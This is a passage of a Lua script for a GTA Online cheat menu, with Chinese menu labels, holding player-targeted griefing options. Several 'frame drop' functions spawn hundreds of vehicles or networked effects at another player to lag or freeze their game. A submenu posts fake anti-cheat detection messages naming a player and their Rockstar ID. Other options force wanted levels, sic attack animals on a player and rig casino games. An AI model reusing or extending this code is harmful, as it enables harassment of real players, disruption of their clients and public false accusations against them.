    hooker = entities.create_ped(28, util.joaat('a_f_y_topless_01'), c, math.random(270))
    local c = ENTITY.GET_OFFSET_FROM_ENTITY_IN_WORLD_COORDS(players.user_ped(), 0, 1, 0.0)
    ENTITY.SET_ENTITY_COORDS(hooker, c.x, c.y, c.z)
    TASK.TASK_START_SCENARIO_IN_PLACE(hooker, "WORLD_HUMAN_PROSTITUTE_HIGH_CLASS", 0, false)
    c = ENTITY.GET_OFFSET_FROM_ENTITY_IN_WORLD_COORDS(players.user_ped(), -1, 0, 0.0)
    request_model_load(util.joaat('a_f_y_topless_01'))
    hooker = entities.create_ped(28, util.joaat('a_f_y_topless_01'), c, math.random(270))
    local c = ENTITY.GET_OFFSET_FROM_ENTITY_IN_WORLD_COORDS(players.user_ped(), -1, 0, 0.0)
    ENTITY.SET_ENTITY_COORDS(hooker, c.x, c.y, c.z)
    TASK.TASK_START_SCENARIO_IN_PLACE(hooker, "WORLD_HUMAN_PROSTITUTE_HIGH_CLASS", 0, false)
    c = ENTITY.GET_OFFSET_FROM_ENTITY_IN_WORLD_COORDS(players.user_ped(), 1, 0, 0.0)
    request_model_load(util.joaat('a_f_y_topless_01'))
    hooker = entities.create_ped(28, util.joaat('a_f_y_topless_01'), c, math.random(270))
    local c = ENTITY.GET_OFFSET_FROM_ENTITY_IN_WORLD_COORDS(players.user_ped(), 1, 0, 0.0)
    ENTITY.SET_ENTITY_COORDS(hooker, c.x, c.y, c.z)
    TASK.TASK_START_SCENARIO_IN_PLACE(hooker, "WORLD_HUMAN_PROSTITUTE_HIGH_CLASS", 0, false)
    c = ENTITY.GET_OFFSET_FROM_ENTITY_IN_WORLD_COORDS(players.user_ped(), 0, -1, 0.0)
    request_model_load(util.joaat('a_f_y_topless_01'))
    hooker = entities.create_ped(28, util.joaat('a_f_y_topless_01'), c, math.random(270))
    local c = ENTITY.GET_OFFSET_FROM_ENTITY_IN_WORLD_COORDS(players.user_ped(), 0, -1, 0.0)
    ENTITY.SET_ENTITY_COORDS(hooker, c.x, c.y, c.z)
    TASK.TASK_START_SCENARIO_IN_PLACE(hooker, "WORLD_HUMAN_PROSTITUTE_HIGH_CLASS", 0, false)
    end, nil, nil, COMMANDPERM_AGGRESSIVE)


    GTluaScript.click_slider(ToplessArmy, "数量", {"toplessarmy"}, "", 1, 50, 49, 1, function(val)
        local ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        local pos = ENTITY.GET_ENTITY_COORDS(ped, false)
        pos.y = pos.y - 5
        pos.z = pos.z + 1
        local fathoes = util.joaat("a_f_y_topless_01")
        request_model(fathoes)
        for i = 1, val do
            player_fathoes_army[i] = entities.create_ped(28, fathoes, pos, 0)
            ENTITY.SET_ENTITY_INVINCIBLE(player_fathoes_army[i], true)
            PED.SET_BLOCKING_OF_NON_TEMPORARY_EVENTS(player_fathoes_army[i], true)
            PED.SET_PED_COMPONENT_VARIATION(player_fathoes_army[i], 0, 0, 1, 0)
            TASK.TASK_FOLLOW_TO_OFFSET_OF_ENTITY(player_fathoes_army[i], ped, 0, -0.3, 0, 7.0, -1, 10, true)
            wait()
        end 
    end)

    GTAC(ToplessArmy, "删除", {"cleartoplesshoes"}, "", function()
        for i, ped in ipairs(entities.get_all_peds_as_handles()) do
            if PED.IS_PED_MODEL(ped, util.joaat("a_f_y_topless_01")) then
                entities.delete_by_handle(ped)
            end
        end
    end)

    GTLP(jindianegao, "让TA走路带火", {"footfire"}, "烫jiojio~", function()
        local coords = players.get_position(pid)
        FIRE.ADD_EXPLOSION(coords.x, coords.y, coords.z, 38, 0, false, false, 0, false)
        wait(65)
    end)

    GTTG(jindianegao, "撒尿", {"peeloop"}, "随地大小便应遭到谴责", function(state)
        peeloop_player(pid)
    end)

    diaozhen = GT(jindianegao, "掉帧", {}, "rlag1", function(); end)
    GTAC(diaozhen, "掉帧v1", {""}, "", function()
        local TargetPlayerPed = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
		local TargetPlayerPos = ENTITY.GET_ENTITY_COORDS(TargetPlayerPed, true)  
        for i = 0, 180 do 
            attachmentveh1 = CreateVehicle(353883353,TargetPlayerPos,0)   
    end
end)

    Ptools_PanTable = {}
    Ptools_PanCount = 1
    Ptools_FishPan = 20

    GTAC(diaozhen, "掉帧v2", {"rlag2"}, "", function ()
        local targetped = getPlayerPed(pid)
        local targetcoords = getEntityCoords(targetped)

        local hash = util.joaat("tug")
        requestModel(hash)
        while not hasModelLoaded(hash) do wait() end

        for i = 1, Ptools_FishPan do
            Ptools_PanTable[Ptools_PanCount] = VEHICLE.CREATE_VEHICLE(hash, targetcoords.x, targetcoords.y, targetcoords.z, 0, true, true, true)
            local netID = NETWORK.NETWORK_GET_NETWORK_ID_FROM_ENTITY(Ptools_PanTable[Ptools_PanCount])
            NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(Ptools_PanTable[Ptools_PanCount])
            NETWORK.NETWORK_REQUEST_CONTROL_OF_NETWORK_ID(netID)
            NETWORK.SET_NETWORK_ID_EXISTS_ON_ALL_MACHINES(netID)
            NETWORK.SET_NETWORK_ID_CAN_MIGRATE(netID, false)
            NETWORK.SET_NETWORK_ID_ALWAYS_EXISTS_FOR_PLAYER(netID, pid, true)
            ENTITY.SET_ENTITY_AS_MISSION_ENTITY(Ptools_PanTable[Ptools_PanCount], true, false)
            ENTITY.SET_ENTITY_VISIBLE(Ptools_PanTable[Ptools_PanCount], false, 0)
            if SE_Notifications then
                util.toast("使用的索引生成 " .. Ptools_PanCount)
            end
            Ptools_PanCount = Ptools_PanCount + 1
        end
    end)

	GTAC(diaozhen,"掉帧v3", {}, "rlag3", function() 
		while not STREAMING.HAS_MODEL_LOADED(447548909) do
			STREAMING.REQUEST_MODEL(447548909)
			wait(10)
		end
		local self_ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(players.user())
        local OldCoords = ENTITY.GET_ENTITY_COORDS(self_ped) 
		ENTITY.SET_ENTITY_COORDS_NO_OFFSET(self_ped, 24, 7643.5, 19, true, true, true)

		notification("开始变得迟钝", colors.pink)
		GTluaScript.trigger_commands("anticrashcamera on")
		local player_ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
		local PlayerPedCoords = ENTITY.GET_ENTITY_COORDS(player_ped, true)
		spam_amount = 300
		while spam_amount >= 1 do
			entities.create_vehicle(447548909, PlayerPedCoords, 0)
			spam_amount = spam_amount - 1
			wait(10)
		end
		notification("卡死", colors.pink)
		GTluaScript.trigger_commands("anticrashcamera off")
	end)

    GTAC(jindianegao, "移除掉帧", {"rmpan"}, "", function ()
        for x = 1, 5, 1 do
            for i = 1, #Ptools_PanTable do
                entities.delete_by_handle(Ptools_PanTable[i])
                wait(10)
            end
        end
        Ptools_PanCount = 1
        Ptools_PanTable = {}
        noNeedModel(util.joaat("tug"))
    end)

    GTLP(diaozhen, "掉帧V4", {"rlag4"}, "", function()
        if players.exists(pid) then
            local freeze_toggle = menu.ref_by_rel_path(menu.player_root(pid), "Trolling>Freeze")
            local player_pos = players.get_position(pid)
            menu.set_value(freeze_toggle, true)
            request_ptfx_asset("core")
            GRAPHICS.USE_PARTICLE_FX_ASSET("core")
            GRAPHICS.START_NETWORKED_PARTICLE_FX_NON_LOOPED_AT_COORD(
                "veh_respray_smoke", player_pos.x, player_pos.y, player_pos.z, 0, 0, 0, 2.5, false, false, false)
            menu.set_value(freeze_toggle, false)
        end
    end)

    GTLP(diaozhen, "掉帧V5", {"rlag5"}, "", function()
        if players.exists(pid) then
            local freeze_toggle = menu.ref_by_rel_path(menu.player_root(pid), "Trolling>Freeze")
            local player_pos = players.get_position(pid)
            menu.set_value(freeze_toggle, true)
            request_ptfx_asset("core")
            GRAPHICS.USE_PARTICLE_FX_ASSET("core")
            GRAPHICS.START_NETWORKED_PARTICLE_FX_NON_LOOPED_AT_COORD(
                "ent_sht_electrical_box", player_pos.x, player_pos.y, player_pos.z, 0, 0, 0, 2.5, false, false, false)
            menu.set_value(freeze_toggle, false)
        end
    end)

    GTLP(diaozhen, "掉帧V6", {"rlag6"}, "", function()
        if players.exists(pid) then
            local freeze_toggle = menu.ref_by_rel_path(menu.player_root(pid), "Trolling>Freeze")
            local player_pos = players.get_position(pid)
            menu.set_value(freeze_toggle, true)
            request_ptfx_asset("core")
            GRAPHICS.USE_PARTICLE_FX_ASSET("core")
            GRAPHICS.START_NETWORKED_PARTICLE_FX_NON_LOOPED_AT_COORD(
                "exp_extinguisher", player_pos.x, player_pos.y, player_pos.z, 0, 0, 0, 2.5, false, false, false)
            menu.set_value(freeze_toggle, false)
        end
    end)

    GTLP(diaozhen, "掉帧V7", {"rlag7"}, "", function()
        if players.exists(pid) then
            local freeze_toggle = menu.ref_by_rel_path(menu.player_root(pid), "Trolling>Freeze")
            local player_pos = players.get_position(pid)
            menu.set_value(freeze_toggle, true)
            request_ptfx_asset("core")
            GRAPHICS.USE_PARTICLE_FX_ASSET("core")
            GRAPHICS.START_NETWORKED_PARTICLE_FX_NON_LOOPED_AT_COORD(
                "ent_anim_bm_water_mist", player_pos.x, player_pos.y, player_pos.z, 0, 0, 0, 2.5, false, false, false)
            menu.set_value(freeze_toggle, false)
        end
    end)

    GTLP(diaozhen, "掉帧V8", {"rlag8"}, "", function()
        if players.exists(pid) then
            local freeze_toggle = menu.ref_by_rel_path(menu.player_root(pid), "Trolling>Freeze")
            local player_pos = players.get_position(pid)
            menu.set_value(freeze_toggle, true)
            request_ptfx_asset("core")
            GRAPHICS.USE_PARTICLE_FX_ASSET("core")
            GRAPHICS.START_NETWORKED_PARTICLE_FX_NON_LOOPED_AT_COORD(
                "veh_rotor_break", player_pos.x, player_pos.y, player_pos.z, 0, 0, 0, 2.5, false, false, false)
            menu.set_value(freeze_toggle, false)
        end
    end)

GTAC(jindianegao, "喷射", {"peeloop"}, "", function(state)
    local player_ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
    local bone_index = PED.GET_PED_BONE_INDEX(player_ped, 0x2e28)
    request_ptfx_asset_peeloop("core_snow")
    GRAPHICS.USE_PARTICLE_FX_ASSET("core_snow")
    ptfx_id = GRAPHICS.START_NETWORKED_PARTICLE_FX_LOOPED_ON_ENTITY_BONE(
        "cs_mich1_spade_dirt_throw", player_ped, 0, 0, 0, -90, 0, 0, bone_index, 2, false, false, false
    ) 
end)


    GTluaScript.click_slider(jindianegao, "给予通缉等级", {}, "", 1, 5, 5, 1, function(val)
        local playerInfo = memory.read_long(entities.handle_to_pointer(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)) + 0x10C8)
        while memory.read_uint(playerInfo + 0x0888) < val do
            for i = 1, 46 do
                PLAYER.REPORT_CRIME(pid, i, val)
            end
            wait(75)
        end
    end)

    GTAC(jindianegao, "在玩家面前生成隐形坡道", {}, "", function() 
        local ramp_hash = util.joaat("stt_prop_ramp_jump_l")
        local player = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        local pos = ENTITY.GET_OFFSET_FROM_ENTITY_IN_WORLD_COORDS(player, 0, 10, -2)
        local rot = ENTITY.GET_ENTITY_ROTATION(player, 2)
        request_model(ramp_hash)
    
        local ramp = OBJECT.CREATE_OBJECT(ramp_hash, pos.x, pos.y, pos.z, true, false, true)
        NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(ramp)
    
        ENTITY.SET_ENTITY_VISIBLE(ramp, false)
        ENTITY.SET_ENTITY_ROTATION(ramp, rot.x, rot.y, rot.z + 90, 0, true)
        wait(1000)
        entities.delete_by_handle(ramp)
    end)

GTLP(jindianegao, '实体风暴', {'entityStorm'}, '骚扰该玩家', function ()
    chaoshita(pid) 
end)

GTAC(jindianegao, "生成小查攻击", {}, "", function()
    local p = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
    local coords = ENTITY.GET_OFFSET_FROM_ENTITY_IN_WORLD_COORDS(p, 0.0, -1.0, 0.0)
    local objHash = util.joaat("A_C_Chop")
    requestModels(objHash)
    local g_ped = PED.CREATE_PED(PED_TYPE_CIVMALE, objHash, coords.x, coords.y, coords.z, 0, true, false)

    ENTITY.SET_ENTITY_HEADING(g_ped, ENTITY.GET_ENTITY_HEADING(p))
    PED.SET_PED_MONEY(g_ped, 2000)
    PED.SET_PED_MAX_HEALTH(g_ped, 10000)
    ENTITY.SET_ENTITY_HEALTH(g_ped, 10000)
    PED.SET_BLOCKING_OF_NON_TEMPORARY_EVENTS(g_ped, true)
    TASK.TASK_SET_BLOCKING_OF_NON_TEMPORARY_EVENTS(g_ped, true)
    TASK.TASK_COMBAT_PED(g_ped, p, 0, 16)
    PED.SET_PED_COMBAT_ATTRIBUTES(g_ped, 46, 1)
    PED.SET_PED_AS_ENEMY(g_ped, true)

    STREAMING.SET_MODEL_AS_NO_LONGER_NEEDED(objHash)
end)
	
    GTAC(jindianegao, "禁用投掷物", {}, "禁止该玩家使用投掷物", function(toggle) 
        local baseball = util.joaat("weapon_ball")
        request_model(baseball)
        local id = PLAYER.PLAYER_PED_ID()
        local pos = ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid))

        for i = 1, 60 do
            WEAPON.GIVE_WEAPON_TO_PED(id, baseball, 1, false, false)
            MISC.SHOOT_SINGLE_BULLET_BETWEEN_COORDS_IGNORE_ENTITY(pos.x, pos.y, pos.z, pos.x, pos.y, pos.z + 5, 0, true, util.joaat("WEAPON_BALL"), PLAYER.PLAYER_PED_ID(), false, true, 0, ped, 0)
        end
        wait(500)
        MISC.CLEAR_AREA_OF_PROJECTILES(pos.x, pos.y, pos.z, 400, 0)
    end)

    GTAC(jindianegao, "送进监狱", {}, "将该玩家传送到博林布鲁克监狱", function()
        local my_pos = ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid))
        local my_ped = PLAYER.GET_PLAYER_PED(players.user())
        ENTITY.SET_ENTITY_COORDS_NO_OFFSET(my_ped, 1628.5234, 2570.5613, 45.56485, true, false, false, false)
        menu.trigger_commands("givesh " .. players.get_name(pid))
        menu.trigger_commands("summon " .. players.get_name(pid))
        menu.trigger_commands("invisibility on")
        menu.trigger_commands("otr")
        wait(5000)
        menu.trigger_commands("invisibility off")
        menu.trigger_commands("otr")
        ENTITY.SET_ENTITY_COORDS_NO_OFFSET(my_ped, my_pos.x, my_pos.y, my_pos.z)
    end)

    GTLP(jindianegao, "传送所有PED给玩家", {"toggletppeds"}, "", function (on_toggle)
            if on_toggle then
                TpAllPeds(pid)
            else
                TpAllPeds(pid)
            end
    end)

    GTLP(jindianegao, "传送所有载具给玩家", {"toggletppedstpvehs"}, "", function (on_toggle)
            if on_toggle then
                TpAllVehs(pid)
            else
                TpAllVehs(pid)
            end
    end)

    GTLP(jindianegao, "传送所有物体给玩家", {"tpobjs"}, "", function (on_toggle)
            if on_toggle then
                TpAllObjects(pid)
            else
                TpAllObjects(pid)
            end
    end)

    GTLP(jindianegao, "传送所有拾取物给玩家", {"tppickups"}, "", function (on_toggle)
            if on_toggle then
                TpAllPickups(pid)
            else
                TpAllPickups(pid)
            end
    end)

    GTLP(jindianegao, "假钱雨", {}, "", function ()
        local targets = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        local tar1 = ENTITY.GET_ENTITY_COORDS(targets, true)
        Streamptfx('core')
        GRAPHICS.START_NETWORKED_PARTICLE_FX_NON_LOOPED_AT_COORD( 'ent_brk_banknotes', tar1.x, tar1.y, tar1.z + 1, 0, 0, 0, 3.0, true, true, true)
    end)

            rain_root = GT(jindianegao, '实体雨', {''}, '')

            function rain(pid, entity)
                local pos = players.get_position(pid)
                local hash = util.joaat(entity)
                pos.x += math.random(-30,30)
                pos.y += math.random(-30,30)
                pos.z += 30
                loadModel(hash)
                local animal = entities.create_ped(28, hash, pos, 0)
                STREAMING.SET_MODEL_AS_NO_LONGER_NEEDED(hash)
                ENTITY.SET_ENTITY_INVINCIBLE(animal, true)
                return animal
            end

            rainOptions = {
                { name = '喵喵雨',    description = 'UWU',                                          animals = {'a_c_cat_01'},                                 spawned = {} },
                { name = '海豚雨',     description = '<º)))><',                                      animals = {'a_c_fish', 'a_c_dolphin', 'a_c_killerwhale','a_c_killerwhale'}, spawned = {} },
                { name = '汪汪雨',     description = '呜呜',                                        animals = {'a_c_retriever', 'a_c_pug', 'a_c_rottweiler'}, spawned = {} },
                { name = 'ikun雨', description = '*咯咯叫*',                                   animals = {'a_c_hen'},                                    spawned = {} },
                { name = '猴子雨',  description = '我知道猴子会发出什么声音',                 animals = {'a_c_chimp'},                                  spawned = {} },
                { name = '猪猪雨',     description = '(> (00) <)',                                   animals = {'a_c_pig'},                                    spawned = {} },
                { name = '鼠鼠雨',     description = '在你的电脑上安装远程访问木马', animals = {'a_c_rat'},                                    spawned = {} },
                { name = '野猪雨',     description = '你是头猪', animals = {'a_c_boar'},                                    spawned = {} },
                { name = '牛牛雨',     description = '你是头牛', animals = {'a_c_cow'},                                    spawned = {} },
                { name = '鹿鹿雨',     description = '你是头鹿', animals = {'a_c_deer'},                                    spawned = {} },
                { name = 'NPC雨',     description = '在玩家透视掉落NPC', animals = {'s_m_y_xmech_02'},                                    spawned = {} },
            }
            for i = 1, #rainOptions do
                GTLP(rain_root, rainOptions[i].name, {''.. rainOptions[i].name}, rainOptions[i].description, function()
                    for _, animal in pairs(rainOptions[i].animals) do
                        rainOptions[i].spawned[#rainOptions[i].spawned + 1] = rain(pid, animal)
                        wait(500)
                    end
                    if not players.exists(pid) then util.stop_thread() end
                end, function()
                    for j, spawned in ipairs(rainOptions[i].spawned) do
                        entities.delete_by_handle(spawned)
                        rainOptions[i].spawned[j] = nil
                    end
                end)
            end

    GTLP(jindianegao, "附近NPC跳伞", {"skydivepeds"}, "", function()
        if players.exists(pid) then
        local p = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        local c = ENTITY.GET_ENTITY_COORDS(p)
                all_peds = entities.get_all_peds_as_handles()
                player_ped = PLAYER.PLAYER_PED_ID()
                for k,ped in pairs(all_peds) do
                    if not PED.IS_PED_A_PLAYER(ped) then
                        TASK.TASK_SKY_DIVE(ped)
                    end
            end
        end
    end, nil, nil, COMMANDPERM_AGGRESSIVE)

    GTAC(jindianegao, "关门放狗", {""}, "", function(on_click)
        sendog(pid)
    end)

	GTAC(jindianegao, "掉猴子", {""}, "", function()
        sendmonkey(pid)
    end)
        GTAC(jindianegao, "掉CXK", {""}, "", function()
        sendcxk(pid)
    end)

    local player = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
    
    GTAC(friendly, "复制名称", {''}, "", function(state)
    local r_id = PLAYER.GET_PLAYER_NAME(pid)
    util.copy_to_clipboard(r_id)
    end)
     
    GTAC(friendly, "复制RID", {''}, "", function(state)
    local rid = players.get_rockstar_id(pid)
    util.copy_to_clipboard(rid)
    end)

    local chattrolls_root = GT(friendly, "虚假检测", {}, "")

    GTAC(chattrolls_root, "虚假RAC检测聊天", {}, "用户触发检测：Rockstar反作弊 (C1)", function(click_type)
        local types = {'I3', 'C1', 'C2', 'C3', 'C4', 'C5', 'D1', 'D2', 'D3', 'D4', 'D5', 'E1', 'E2', 'I2', 'I1'}
        local det_type = types[math.random(1, #types)]
        chat.send_message('> ' .. players.get_name(pid) .. " 触发了检测：Rockstar反作弊 (" .. det_type .. ")".. "RID:" ..players.get_rockstar_id(pid), false, true, true)
    end)

    GTAC(chattrolls_root, "虚假XIPRO检测聊天", {}, "用户触发XIPRO检测：Rockstar反作弊 (C1)", function(click_type)
        local types = {'I3', 'C1', 'C2', 'C3', 'C4', 'C5', 'D1', 'D2', 'D3', 'D4', 'D5', 'E1', 'E2', 'I2', 'I1'}
        local det_type = types[math.random(1, #types)]
        chat.send_message('> ' .. players.get_name(pid) .. " 触发了检测：Rockstar反作弊 (" .. det_type .. ") ----¦XIPRO""\nRID:" ..players.get_rockstar_id(pid), false, true, true)
    end)

    GTAC(chattrolls_root, "虚假2take1检测聊天", {}, "用户触发2take1检测：Rockstar反作弊 (C1)""\nRID:" ..players.get_rockstar_id(pid), function(click_type)
        local types = {'I3', 'C1', 'C2', 'C3', 'C4', 'C5', 'D1', 'D2', 'D3', 'D4', 'D5', 'E1', 'E2', 'I2', 'I1'}
        local det_type = types[math.random(1, #types)]
        chat.send_message('> ' .. players.get_name(pid) .. " 触发了检测：Rockstar反作弊 (" .. det_type .. ") ----¦2take1""\nRID:" ..players.get_rockstar_id(pid), false, true, true)
    end)

    GTAC(chattrolls_root, "虚假XIPRO检测分离踢", {}, "用户触发XIPRO检测：分离踢""\nRID:" ..players.get_rockstar_id(pid), function(click_type)
        chat.send_message('> ' .. players.get_name(pid) .. " 触发了检测：分离踢 ----¦XIPRO""\nRID:" ..players.get_rockstar_id(pid), false, true, true)
    end)

    GTAC(chattrolls_root, "虚假2take1检测分离踢", {}, "用户触发2take1检测：分离踢""\nRID::" ..players.get_rockstar_id(pid), function(click_type)
        chat.send_message('> ' .. players.get_name(pid) .. " 触发了检测：分离踢 ----¦2take1""\nRID:" ..players.get_rockstar_id(pid), false, true, true)
    end)

    GTAC(chattrolls_root, "虚假XIPRO检测崩溃", {}, "用户触发XIPRO检测：不同的崩溃", function(click_type)
        local types = {'碎片崩溃v1', '碎片崩溃v2', '碎片崩溃v3', '无效载具崩溃', '无效模型崩溃', '悲伤的耶稣崩溃', '脚本事件崩溃v1', '脚本事件崩溃v2', '泡泡糖崩溃', '绿玩保护崩溃', '无效模型崩溃', '莱纳斯崩溃', '董哥崩溃', '美杜莎崩溃', '马桶崩溃'}
        local det_type = types[math.random(1, #types)]
        chat.send_message('> ' .. players.get_name(pid) .. " 触发了检测：" .. det_type .. " ----¦XIPRO""\nRID:" ..players.get_rockstar_id(pid), false, true, true)
    end)

    GTAC(chattrolls_root, "虚假2take1检测崩溃", {}, "用户触发2take1检测：不同的崩溃", function(click_type)
        local types = {'碎片崩溃v1', '碎片崩溃v2', '碎片崩溃v3', '无效载具崩溃', '无效模型崩溃', '悲伤的耶稣崩溃', '脚本事件崩溃v1', '脚本事件崩溃v2', '泡泡糖崩溃', '绿玩保护崩溃', '无效模型崩溃', '莱纳斯崩溃', '董哥崩溃', '美杜莎崩溃', '马桶崩溃'}
        local det_type = types[math.random(1, #types)]
        chat.send_message('> ' .. players.get_name(pid) .. " 触发了检测：" .. det_type .. " ----¦2take1""\nRID:" ..players.get_rockstar_id(pid), false, true, true)
    end)

local spectate = GT(friendly, "观看设置", {}, "")
    local stealth
    stealth = GTTG(spectate, "观看", {"bravo"}, "我就乐意当老六!!观看刷新速率差，但很隐蔽!", function(toggled)
        if pid == players.user() then 
            util.toast(lang.get_localised(-1974706693)) 
            stealth.value = false
            util.stop_thread() 
        end

        if toggled then
            outgoingSyncs = menu.ref_by_rel_path(menu.player_root(pid), "Outgoing Syncs>Block")
            nuts = menu.ref_by_rel_path(menu.player_root(pid), "Spectate>Nuts Method")

            outgoingSyncs.value = true
            wait(100)
            nuts.value = true
        else
            if players.exists(pid) then
                nuts.value = false
                outgoingSyncs.value = false
            end
        end
    end)

        GTTG(spectate, "启用透视", {""}, "", function(toggled)
            local nuts = menu.ref_by_rel_path(menu.player_root(pid), "Spectate>Nuts Method")
            local legit = menu.ref_by_rel_path(menu.player_root(pid), "Spectate>Legit Method")
            if toggled then
                if nuts.value == false or legit.value == false then
                    util.toast("请打开观看功能. :/")
                util.stop_thread() end
                menu.trigger_command(menu.ref_by_path("World>Inhabitants>Player ESP>Bone ESP>Low Latency Rendering"))
                menu.trigger_command(menu.ref_by_path("World>Inhabitants>Player ESP>Name ESP>Name ESP>Low Latency Rendering"))
                menu.trigger_commands("esptags off")
            else
                menu.trigger_command(menu.ref_by_path("World>Inhabitants>Player ESP>Bone ESP>Disabled"))
                menu.trigger_command(menu.ref_by_path("World>Inhabitants>Player ESP>Name ESP>Name ESP>Disabled"))
            end
        end)

        player_toggle_loop(spectate, pid, "时间周期清理", {}, "当从室内观看其他人时，将自动把时间周期设置为默认值，这样从设施等地方观看他们就不会看起来很糟糕.", function()
        if GRAPHICS.GET_TIMECYCLE_MODIFIER_INDEX() ~= -1 or GetInteriorPlayerIsIn(players.user()) ~= 0 then
            GRAPHICS.SET_TIMECYCLE_MODIFIER("DEFAULT")
        end
    end)

GTAC(friendly, "发送好友请求", {"sendfriend"}, "", function()
    menu.show_command_box("historybefriend " .. PLAYER.GET_PLAYER_NAME(pid))
end, nil, nil, COMMANDPERM_FRIENDLY)

GTLP(friendly, "循环称赞", {}, "", function(on_toggle)
    if on_toggle then
        menu.trigger_commands("commendhelpful".. PLAYER.GET_PLAYER_NAME(PlayerID))
        menu.trigger_commands("commendfriendly".. PLAYER.GET_PLAYER_NAME(PlayerID))
    else
        menu.trigger_commands("commendhelpful".. PLAYER.GET_PLAYER_NAME(PlayerID))
        menu.trigger_commands("commendfriendly".. PLAYER.GET_PLAYER_NAME(PlayerID))
    end
end)


local hugs = GT(friendly, "拥抱玩家", {"hug"}, "注意: 确保他们站着不动")

tpf_units = 1
GTAC(hugs,"拥抱1", {}, "Credits to Kaliya for idea.", function()
    menu.trigger_commands("tp" .. PLAYER.GET_PLAYER_NAME(pid))
    wait(200)
    menu.trigger_commands("nocollision" .. " on")
    menu.trigger_commands("playanimhug")
    wait(300)
    menu.trigger_commands("nocollision" .. " off")
    local pos = ENTITY.GET_OFFSET_FROM_ENTITY_IN_WORLD_COORDS(players.user_ped(), 0, tpf_units, 0)
    ENTITY.SET_ENTITY_COORDS_NO_OFFSET(PLAYER.PLAYER_PED_ID(), pos['x'], pos['y'], pos['z'], true, false, false)
end)

tpf_units = -0.7
GTAC(hugs,"拥抱2", {"hugs"}, "Note: Make sure they are stood still. Like first one but tiny bit different. Credits to Kaliya for idea.", function()
    menu.trigger_commands("tp" .. PLAYER.GET_PLAYER_NAME(pid))
    wait(200)
    menu.trigger_commands("nocollision" .. " on")
    menu.trigger_commands("playanimhug2")
    wait(300)
    menu.trigger_commands("nocollision" .. " off")
    local pos = ENTITY.GET_OFFSET_FROM_ENTITY_IN_WORLD_COORDS(players.user_ped(), 0, tpf_units, 0)
    ENTITY.SET_ENTITY_COORDS_NO_OFFSET(PLAYER.PLAYER_PED_ID(), pos['x'], pos['y'], pos['z'], true, false, false)
end)

GTTG(friendly, "自动赌场赢取", {"autocasino"}, "传送该玩家到赌场,然后打开赌桌\n如果您为自己选择它,它会将您刷新到表中", function(on_toggle)
    if on_toggle then
        local player_ped = PLAYER.PLAYER_PED_ID()    
        local old_coords = ENTITY.GET_ENTITY_COORDS(player_ped)
        local pld = PLAYER.GET_PLAYER_PED(pid)
        local pos = ENTITY.GET_ENTITY_COORDS(pld)
        menu.trigger_commands("casinotp" .. PLAYER.GET_PLAYER_NAME(pid))
        util.trigger_script_event(1 << pid, {1268038438, 4, 123, 0, 0, 1, -1001291848, -1016910157, 1108672448, 0, -1, 0, 2147483647, 0, -1}) -- Casino Invite
        wait(1500)
        menu.trigger_commands("rigblackjack")
        menu.trigger_commands("rigroulette ".. "1")
        wait(1500)
        ENTITY.SET_ENTITY_COORDS_NO_OFFSET(player_ped, 1132.2958, 263.93478, -51.035763)
        menu.trigger_commands("casinohelp1")
        menu.trigger_commands("casinohelp2")
    else
        menu.trigger_commands("rigblackjack")
        menu.trigger_commands("rigroulette ".. "-1")
        local player_ped = PLAYER.PLAYER_PED_ID()    
        local old_coords = ENTITY.GET_ENTITY_COORDS(player_ped)
        local pld = PLAYER.GET_PLAYER_PED(pid)
        local pos = ENTITY.GET_ENTITY_COORDS(pld)
        ENTITY.SET_ENTITY_COORDS_NO_OFFSET(player_ped, 924.2497, 46.7545, 81.0961)
    end
end)

    givevehicle = GT(friendly, "给予玩家载具", {}, "", function(); end)

    GTTG(givevehicle, "UFO", {"giveufo"}, "", function(on_toggle)
        if on_toggle then
        menu.trigger_commands("stopspectating")
        menu.trigger_commands("spectate" .. players.get_name(pid))
        menu.trigger_commands("giveotr" .. players.get_name(pid))
        wait(2000)
        local vehicleHash = util.joaat("hydra")
        request_model(vehicleHash)
        local pos = ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid))
        jet = entities.create_vehicle(vehicleHash, pos, CAM.GET_GAMEPLAY_CAM_ROT(0).z)
        VEHICLE.SET_VEHICLE_ENGINE_ON(jet, true, true, true)
        ENTITY.SET_ENTITY_INVINCIBLE(jet, true)
        VEHICLE.SET_PLANE_TURBULENCE_MULTIPLIER(jet, 0.0)
        --Ufo Object
        local id = get_closest_vehicle(entity)
        local playerpos = ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid))
        playerpos.z = playerpos.z + 3
        local ufo_object = util.joaat("sum_prop_dufocore_01a")
        STREAMING.REQUEST_MODEL(ufo_object)
        while not STREAMING.HAS_MODEL_LOADED(ufo_object) do
            wait()
        end
        local object1 = entities.create_object(ufo_object, ENTITY.GET_OFFSET_FROM_ENTITY_IN_WORLD_COORDS(PLAYER.GET_PLAYER_PED(pid), 0, 2, 3), ENTITY.GET_ENTITY_HEADING(id))
        ENTITY.ATTACH_ENTITY_TO_ENTITY(object1, jet, playerpos, 0, 0, 0, 0, 0, 0, 0, 0, true, true, false, 0, true)
        NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(object1, jet)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(jet, object1, 0, 0, 3, 0, 0, 0, 0, 0, false, true, false, 0, true)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(object1, jet, 0, 0, 3, 0, 0, 0, 0, 0, false, true, false, 0, true)
        wait(500)
        menu.trigger_commands("stopspectating")
    else
